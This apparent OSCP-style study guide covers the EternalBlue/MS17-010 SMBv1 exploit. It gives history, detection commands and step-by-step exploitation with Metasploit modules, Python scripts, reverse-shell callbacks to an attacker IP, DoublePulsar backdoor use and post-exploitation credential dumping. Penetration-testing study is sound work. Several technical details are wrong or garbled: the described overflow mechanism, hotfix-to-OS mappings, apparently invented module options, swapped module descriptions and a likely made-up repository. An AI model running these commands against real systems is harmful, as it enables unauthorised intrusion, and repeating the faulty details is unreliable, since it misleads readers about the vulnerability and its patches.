EternalBlue and MS17-010
History and Background
The NSA Connection
EternalBlue is one of the most infamous exploits in cybersecurity history. It was developed by the NSA’s Equation Group, a clandestine cyber-operations unit. The exploit targets a vulnerability in Microsoft’s implementation of Server Message Block (SMBv1) protocol.
In 2017, the hacker group known as The Shadow Brokers leaked a massive cache of NSA cyber weapons, including EternalBlue and its companion tools. This leak exposed the raw exploit code, backdoor implants, and exploitation frameworks that the NSA had developed for offensive operations.
The WannaCry Ransomware Connection
Just weeks after the Shadow Brokers leak, the WannaCry ransomware outbreak hit in May 2017, infecting over 200,000 computers across 150 countries. WannaCry used a modified version of EternalBlue as its primary propagation mechanism, turning what could have been a targeted exploit into a global pandemic.
Key facts about WannaCry:
- Estimated damages: $4 billion
- Affected organizations: NHS (UK), Telefónica (Spain), FedEx, Renault
- A “kill switch” domain (
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com) was discovered by a malware researcher, which temporarily halted the spread - The exploit allowed worm-like self-propagation without any user interaction
Other EternalBlue-Based Attacks
| Attack | Date | Description |
|---|---|---|
| WannaCry | May 2017 | Global ransomware worm using EternalBlue |
| NotPetya | June 2017 | Devastating wiper malware disguised as ransomware, used EternalBlue for spread. Caused ~$10 billion in damages |
| EternalRomance | Leaked 2017 | Companion exploit that works alongside EternalBlue for reliable code execution |
| DoublePulsar | Leaked 2017 | Backdoor implant dropped by EternalBlue for persistent access |
Technical Deep Dive
The Vulnerability: CVE-2017-0144
EternalBlue exploits a remote code execution vulnerability in how Windows SMBv1 servers process rx_copy_chunks requests. Here is the technical breakdown:
What is SMB?
Server Message Block (SMB) is a network file sharing protocol. SMBv1, the original version, has been deprecated due to numerous security issues. Port 445 (direct TCP) and 139 (NetBIOS session service) are the standard SMB ports.
The Buffer Overflow Mechanism
The vulnerability exists in the rx_copy_chunks processing within the SMBv1 protocol:
- An attacker sends a specially crafted SMB packet containing a
SMB_COM_WRITE_ANDXcommand withrx_copy_chunksparameters - The
rx_copy_chunksstructure contains aChunkOffsetfield that specifies where to copy data within the response buffer - The vulnerability:
ChunkOffsetcan be set to a negative value (interpreted as a large unsigned integer) - This causes the SMB server to copy data before the start of the allocated buffer, writing to arbitrary kernel memory
- By carefully crafting multiple
rx_copy_chunkswith different offsets, the attacker can overwrite kernel structures including function pointers - Overwriting a function pointer allows redirecting execution to attacker-controlled shellcode
Why NetBIOS Matters
The exploit can target both:
- Direct Hosting (port 445): SMB over TCP directly
- NetBIOS Session Service (port 139): SMB encapsulated in NetBIOS
The NetBIOS variant requires additional handling of the NetBIOS session layer, which is why some exploit implementations support both modes.
Kernel-Level Impact
Because the overflow occurs in kernel-mode (the SMB server runs in the kernel), successful exploitation grants:
- SYSTEM-level code execution (no local privilege escalation needed)
- Remote access (no local shell required)
- No authentication needed (the vulnerability is in the protocol parsing itself)
This is why EternalBlue is classified as a remote initial access exploit rather than a local privilege escalation technique.
Affected Systems
| Operating System | Service Pack / Version | Architecture |
|---|---|---|
| Windows XP | SP2, SP3 | x86 |
| Windows Server 2003 | SP2 | x86, x64 |
| Windows Vista | SP2 | x86, x64 |
| Windows Server 2008 | SP2 | x86, x64 |
| Windows 7 | SP1 | x86, x64 |
| Windows 8 | All versions | x86, x64 |
| Windows 8.1 | All versions | x86, x64 |
| Windows Server 2008 R2 | SP1 | x64 |
| Windows Server 2012 | All versions | x64 |
| Windows Server 2012 R2 | All versions | x64 |
Not affected (SMBv1 not default or architecture differences):
- Windows 10 (initial release, though early builds were briefly vulnerable)
- Windows Server 2016 and later
The Patch: KB4012598
Microsoft released the “Monthly Tuesday Patch” on March 14, 2017. The specific hotfix ID is KB4012598, but the actual KB number varies by OS version:
| OS | Hotfix ID |
|---|---|
| Windows 7 SP1 | KB4012598 |
| Windows 8.1 | KB4012212 |
| Windows Server 2012 R2 | KB4012212 |
| Windows Server 2012 | KB4012215 |
| Windows Server 2008 R2 SP1 | KB4012216 |
| Windows Server 2008 SP2 | KB4012217 |
Detection Methods
Method 1: On-Target Detection (Already Inside)
If you already have a shell on the target, check for the patch:
# Check for the specific hotfix
wmic qfe get HotFixID | findstr "KB4012598"
# If nothing is returned, the system is likely vulnerable
# Alternative: Check all installed hotfixes
Get-HotFix | Where-Object {$_.HotFixId -like "KB4012*"}
# Check SMBv1 status
Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
# Check if SMBv1 is enabled (required for exploit)
sc query depend smb
Interpreting the output:
- If
KB4012598(or the OS-specific equivalent) appears → Patched (not vulnerable) - If nothing is returned → Likely vulnerable (but confirm with remote scan)
- If SMBv1 is disabled → Not exploitable even if unpatched
Method 2: Nmap Script (Remote Detection)
The smb-vuln-ms17-010 NSE script is the most common remote detection method:
# Basic vulnerability scan
nmap --script smb-vuln-ms17-010 -p 445 <target_ip>
# With timing and verbose output
nmap -sV --script smb-vuln-ms17-010 -p 445 -T4 -v <target_ip>
# Scan multiple targets
nmap -iL targets.txt --script smb-vuln-ms17-010 -p 445 -T4
# Also check port 139 (NetBIOS)
nmap --script smb-vuln-ms17-010 -p 139,445 <target_ip>
Example output:
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143 CVE:CVE-2017-0144 CVE:CVE-2017-0145 CVE:CVE-2017-0146 CVE:CVE-2017-0147 CVE:CVE-2017-0148 CVE:CVE-2017-0149
| Risk: High
| A remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010)...
|_
Possible states:
VULNERABLE→ Target is exploitableLIKELY VULNERABLE→ Target may be vulnerable (SMB response ambiguous)NOT VULNERABLE→ Target is patched or not affectedEXCEPTION→ Could not determine (SMB service not responding properly)
Method 3: Metasploit Auxiliary Scanner
msfconsole
# Load the scanner module
use auxiliary/scanner/smb/smb_ms17_010
# Set target
set RHOSTS <target_ip>
# Optional: Set threads for scanning multiple targets
set THREADS 10
# Run the scan
run
Example output:
[*] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!
[*] 192.168.1.100:445 - 192.168.1.100:445 cannot be checked with
wsccheck method.
[*] 192.168.1.100:445 - 192.168.1.100:445 cannot be checked with
command method.
[*] 192.168.1.100:445 - 192.168.1.100:445 cannot be checked with
num0check method.
[+] 192.168.1.100:445 - 192.168.1.100:445 is VULNERABLE to (null)
[*] Auxiliary module execution completed
Method 4: CrackMapExec (Formerly CrackMapExec)
# Check SMB shares and vulnerability
crackmapexec smb <target_ip> --shares
# With user enumeration
crackmapexec smb <target_ip> -u '' -p '' --shares
# Using the MS17-010 script (cme 6+)
crackmapexec smb <target_ip> --script ms17-010
Method 5: Python-Based Detection Scripts
# Using the check.py from eternalblue-exploit repo
python3 check.py <target_ip>
# Output:
# [!] 192.168.1.100 is VULNERABLE to MS17-010!
# or
# [+] 192.168.1.100 doesn't seem to be vulnerable to MS17-010
Metasploit Exploitation
Module 1: exploit/windows/smb/ms17_010_eternalblue
This module uses EternalBlue + EternalRomance to achieve remote code execution. It does NOT install the DoublePulsar backdoor.
use exploit/windows/smb/ms17_010_eternalblue
# Required options
set RHOSTS <target_ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker_ip>
set LPORT 4444
# Optional options
set SMBVERSION 1 # Force SMBv1 (default)
set TARGET 0 # Auto-detect target architecture
set PROCESS_INJECT lsass.exe # Process to inject payload into
set STOP_ON_IP_CONFLICT true # Stop if IP conflict detected
set VERIFY_ARCH true # Verify target architecture
set VERIFY_TARGET true # Verify target is exploitable
set ENABLE_UNICODE_CHECK true # Enable unicode path check
# Run the exploit
run
All options explained:
| Option | Default | Description |
|---|---|---|
RHOSTS |
(required) | Target IP address |
RPORT |
445 | Target SMB port |
PAYLOAD |
windows/x64/meterpreter/reverse_tcp |
Meterpreter payload |
LHOST |
(required) | Attacker IP for reverse connection |
LPORT |
4444 | Listener port |
SMBVERSION |
1 | SMB protocol version to use |
TARGET |
0 (Auto) | Target architecture (0=auto, 1=x86, 2=x64) |
PROCESS_INJECT |
lsass.exe |
Process to inject the payload into |
STOP_ON_IP_CONFLICT |
true | Abort if target IP conflicts with attacker |
VERIFY_ARCH |
true | Verify target architecture before exploiting |
VERIFY_TARGET |
true | Verify target is vulnerable before full exploit |
ENABLE_UNICODE_CHECK |
true | Check for unicode path issues |
When this module works:
- Target is running a vulnerable OS with SMBv1 enabled
- Target architecture can be auto-detected
- Network connectivity is stable (EternalRomance is sensitive to packet loss)
When this module fails:
- Target is patched (KB4012598 installed)
- SMBv1 is disabled on the target
- Firewall blocks port 445
- Target architecture cannot be determined
- Network is unreliable (EternalRomance drops packets)
Module 2: exploit/windows/smb/ms17_010_psexec
This module uses EternalBlue + DoublePulsar. It first installs the DoublePulsar backdoor, then uses it to execute the payload.
use exploit/windows/smb/ms17_010_psexec
# Required options
set RHOSTS <target_ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker_ip>
set LPORT 4444
# Optional options
set SMBVERSION 1 # Force SMBv1
set TARGET 0 # Auto-detect
set FORCE_EXPLOIT false # Force exploit even if verification fails
set ADMINSHARE_METHOD false # Use admin share method for payload delivery
# Run the exploit
run
All options explained:
| Option | Default | Description |
|---|---|---|
RHOSTS |
(required) | Target IP address |
RPORT |
445 | Target SMB port |
PAYLOAD |
windows/x64/meterpreter/reverse_tcp |
Meterpreter payload |
LHOST |
(required) | Attacker IP |
LPORT |
4444 | Listener port |
SMBVERSION |
1 | SMB protocol version |
TARGET |
0 (Auto) | Target architecture |
FORCE_EXPLOIT |
false | Exploit even if target verification fails |
ADMINSHARE_METHOD |
false | Use admin shares for payload delivery |
When this module works:
- Target is vulnerable and DoublePulsar can be installed
- Admin shares are accessible (or
ADMINSHARE_METHODis disabled) - The DoublePulsar backdoor successfully implants
When this module fails:
- DoublePulsar cannot be installed (SMB pipe issues)
- Admin shares are not accessible
- Target has already been exploited (DoublePulsar already present with different key)
- Antivirus detects the backdoor implant
Module Comparison
| Feature | ms17_010_eternalblue |
ms17_010_psexec |
|---|---|---|
| Technique | EternalBlue + EternalRomance | EternalBlue + DoublePulsar |
| Backdoor installed | No | Yes (DoublePulsar) |
| Persistence | No (session only) | Yes (backdoor remains) |
| Reliability | Lower (packet-sensitive) | Higher (backdoor is stable) |
| Detection | Harder (no implant) | Easier (backdoor on disk) |
| Re-exploitation | Must re-exploit | Use backdoor directly |
| Best for | Quick access, stealth | Persistent access, reliability |
Script-Based Exploitation
SE-Extractor + DoublePulsar Checker
The SE-Extractor project provides a comprehensive exploitation framework:
# Clone the repository
git clone https://github.com/jm33-m0/SE-Extractor.git
cd SE-Extractor
# Step 1: Check if target is vulnerable
python3 check.py <target_ip>
# Step 2: Check if DoublePulsar is already installed
python3 doublepulsar-checker.py <target_ip>
# Step 3: Extract the service (install DoublePulsar)
python3 extract_service.py <target_ip>
# Step 4: Use the backdoor
python3 doublepulsar_shell.py <target_ip> <payload>
Python EternalBlue Scripts
The dirkjanm/eternalblue-exploit repository provides pure Python implementations:
# Clone the repository
git clone https://github.com/dirkjanm/CVE-2017-0144.git
cd CVE-2017-0144
# Check vulnerability
python3 check.py <target_ip>
# Run the full exploit (EternalBlue + EternalRomance)
python3 eternalblue.py <target_ip> <attacker_ip>
# The exploit will:
# 1. Connect to the target via SMB
# 2. Send the EternalBlue overflow
# 3. Use EternalRomance for reliable code execution
# 4. Drop a reverse shell callback to your attacker IP
Manual Exploitation Steps (Non-Metasploit)
# Step 1: Verify vulnerability
nmap --script smb-vuln-ms17-010 -p 445 <target_ip>
# Step 2: Set up a listener
nc -lvnp 4444
# Step 3: Run the exploit
python3 eternalblue.py <target_ip> <attacker_ip>
# Step 4: Receive the callback on your listener
# You should get a SYSTEM-level shell
DoublePulsar Backdoor
What Is DoublePulsar?
DoublePulsar is an SMB backdoor that was part of the NSA’s EternalBlue exploitation toolkit. It operates as an SMB pipe handler – it registers a custom SMB pipe that responds to specific commands, allowing the attacker to:
- Check if the backdoor is installed
- Upload shellcode to the target
- Execute shellcode remotely
- Download data from the target
How It Works
- EternalBlue exploits the SMBv1 vulnerability and gains kernel-level code execution
- Before returning control, it drops the DoublePulsar DLL into the
srvnet.sysSMB server driver - DoublePulsar registers itself as a handler for a specific SMB pipe name
- The backdoor remains active until the system is rebooted (it’s in memory, not on disk)
- The attacker can communicate with DoublePulsar over standard SMB (port 445)
DoublePulsar Detection
# Using Metasploit auxiliary module
use auxiliary/admin/smb/psexec_doublepulsar
set RHOSTS <target_ip>
run
# Using the SE-Extractor checker
python3 doublepulsar-checker.py <target_ip>
# Using Nmap (community script)
nmap --script smb-doublepulsar-brute -p 445 <target_ip>
Using DoublePulsar
# Via Metasploit
use exploit/windows/smb/ms17_010_psexec
set RHOSTS <target_ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker_ip>
set LPORT 4444
run
# The module will:
# 1. Use EternalBlue to install DoublePulsar (if not present)
# 2. Communicate with DoublePulsar over SMB pipe
# 3. Upload and execute the Meterpreter payload
# 4. Return a SYSTEM-level session
Why DoublePulsar Is Powerful
- No additional ports needed: Communicates over standard SMB (port 445)
- Memory-resident: No files written to disk (evades file-based AV)
- SMB authentication bypass: Uses the SMB protocol itself, bypassing normal auth
- Persistent until reboot: Survives logoff, service restarts, etc.
- SYSTEM-level execution: All shellcode runs as SYSTEM
Why EternalBlue Gives SYSTEM Directly
EternalBlue is fundamentally different from local privilege escalation techniques:
- Kernel-mode exploitation: The SMB server runs in kernel mode. The buffer overflow corrupts kernel memory, giving direct kernel-level code execution
- No user context needed: The exploit targets the SMB protocol stack, which runs as part of the OS kernel – there is no “user” context to escalate from
- Remote by design: The vulnerability is in a network-facing service. No local shell is required
- Bypasses all local security: Since execution starts at kernel level, UAC, AppLocker, and local ACLs are irrelevant
This makes EternalBlue an initial access vector, not a local privilege escalation technique. On the OSCP exam, it appears on boxes where you need to gain your first foothold remotely.
Attack Flow Diagram
sequenceDiagram
participant A as Attacker (Kali)
participant N as Network
participant T as Target (Windows)
participant S as SMB Server (Kernel)
participant D as DoublePulsar
Note over A,T: Phase 1: Reconnaissance
A->>N: Nmap scan port 445
N->>T: TCP SYN to 445
T-->>N: SYN-ACK
N-->>A: Port 445 open
Note over A,T: Phase 2: Vulnerability Check
A->>T: NSE script smb-vuln-ms17-010
T-->>A: VULNERABLE response
Note over A,T: Phase 3: Exploitation (EternalBlue)
A->>S: Connect SMB session
S-->>A: SMB negotiation
A->>S: Malformed rx_copy_chunks packet
S->>S: Buffer overflow in kernel
S->>S: Overwrite kernel function pointer
S->>A: Execute attacker shellcode
Note over A,T: Phase 4: Backdoor Installation
A->>S: Drop DoublePulsar DLL
S->>D: Register SMB pipe handler
D-->>A: Backdoor active
Note over A,T: Phase 5: Payload Delivery
A->>D: SMB pipe command: upload shellcode
D->>D: Allocate memory, write shellcode
A->>D: SMB pipe command: execute
D->>A: Reverse shell callback (SYSTEM)
Note over A,T: Phase 6: Post-Exploitation
A->>T: Meterpreter session as SYSTEM
A->>T: Credential dumping, enumeration
EternalBlue Quick Reference
Detection Commands
# Nmap
nmap --script smb-vuln-ms17-010 -p 445 <target>
# Metasploit
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS <target>
run
# On-target
wmic qfe get HotFixID | findstr "KB4012598"
Exploitation Commands
# Metasploit (EternalBlue + EternalRomance)
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker>
run
# Metasploit (EternalBlue + DoublePulsar)
use exploit/windows/smb/ms17_010_psexec
set RHOSTS <target>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker>
run
# Python script
python3 eternalblue.py <target> <attacker>
Key Facts
| Fact | Value |
|---|---|
| CVE | CVE-2017-0144 (EternalBlue), CVE-2017-0143/0145/0146/0147/0148/0149 (related) |
| Bulletin | MS17-010 |
| Protocol | SMBv1 |
| Port | 445 (TCP), 139 (NetBIOS) |
| Patch | KB4012598 (OS-specific) |
| Impact | Remote Code Execution as SYSTEM |
| Auth Required | No |
| Complexity | High (but automated tools exist) |
OSCP Exam Tips
When You’ll See It
EternalBlue appears on OSCP boxes that require remote initial access to a Windows target. Common scenarios:
- A Windows machine with port 445 open and no other attack surface
- A multi-hop scenario where you need to pivot from a Linux box to a Windows box
- Boxes designed to test your ability to use Metasploit exploit modules
Important Distinction
EternalBlue is an INITIAL ACCESS exploit, NOT a local privilege escalation technique.
On the OSCP exam, if you already have a low-privilege shell on a Windows machine, EternalBlue is NOT the right tool. Use local privesc methods (PowerUp, token manipulation, service exploitation) instead.
Exam Strategy
- Always scan for MS17-010 when you see port 445 open on a Windows target
- Try the Metasploit auxiliary scanner first – it’s fast and reliable
- Use
ms17_010_psexecoverms17_010_eternalblue– the DoublePulsar method is more reliable - If Metasploit fails, try the Python scripts as a fallback
- Document the vulnerability even if exploitation fails – partial points for finding it
- Remember: After gaining SYSTEM access, immediately dump credentials with Mimikatz for lateral movement
Common Exam Box Patterns
| Box Type | EternalBlue Role |
|---|---|
| Easy Windows | Primary initial access vector |
| Multi-hop | Pivot from Linux to Windows |
| Domain boxes | Initial foothold before domain attacks |
| Hard Windows | Rarely used (usually patched) |
Time-Saving Tips
- Keep the Metasploit module pre-loaded in your notes for quick copy-paste
- The
smb-vuln-ms17-010Nmap script takes only seconds per target - If the target is vulnerable, exploitation typically takes under 30 seconds with Metasploit
- Always try both x64 and x86 payloads if auto-detection fails
For more information, see the MS17-010 Microsoft Security Bulletin and the [EternalBlue technical analysis](https://www.fireeye.com/blog/threat-research/2017/05/notpetya attack analyzed.html).